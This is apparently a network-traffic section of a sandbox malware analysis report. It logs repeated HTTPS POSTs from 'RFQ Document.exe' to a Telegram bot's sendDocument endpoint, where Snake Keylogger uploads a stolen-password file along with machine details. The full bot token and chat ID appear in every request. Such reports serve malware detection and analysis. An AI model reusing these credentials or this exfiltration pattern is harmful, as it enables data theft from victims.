2021-09-28 05:59:15 UTC	314	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:15 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:15 UTC	314	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12786,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808755,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.4	50018	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:15 UTC	315	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e299a6d4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:15 UTC	315	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 39 39 61 36 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e299a6d4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:15 UTC	316	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:15 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:15 UTC	316	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12787,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808755,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.4	50019	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:15 UTC	316	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e2af1b82 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:15 UTC	317	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 61 66 31 62 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e2af1b82Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:15 UTC	317	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:15 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:15 UTC	318	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12788,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808755,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.4	50020	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:15 UTC	318	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e2c6f1b5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:15 UTC	318	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 63 36 66 31 62 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e2c6f1b5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:16 UTC	319	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:16 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:16 UTC	319	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12789,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808756,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49776	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:21 UTC	2	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c2167f0d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:21 UTC	3	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 32 31 36 37 66 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c2167f0dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:21 UTC	3	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:21 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:21 UTC	3	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12581,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808701,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49794	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:24 UTC	31	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c433b23d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:24 UTC	32	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 34 33 33 62 32 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c433b23dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:24 UTC	32	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:24 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:24 UTC	32	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12600,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808704,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.4	50021	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:16 UTC	320	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e2e6b551 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:16 UTC	320	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 32 65 36 62 35 35 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e2e6b551Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:16 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:16 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:16 UTC	321	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12790,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808756,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.4	50022	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:16 UTC	321	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e304f2cb Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:16 UTC	322	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 33 30 34 66 32 63 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e304f2cbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:16 UTC	322	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:16 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:16 UTC	322	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 36 2c 22 64 Data Ascii: 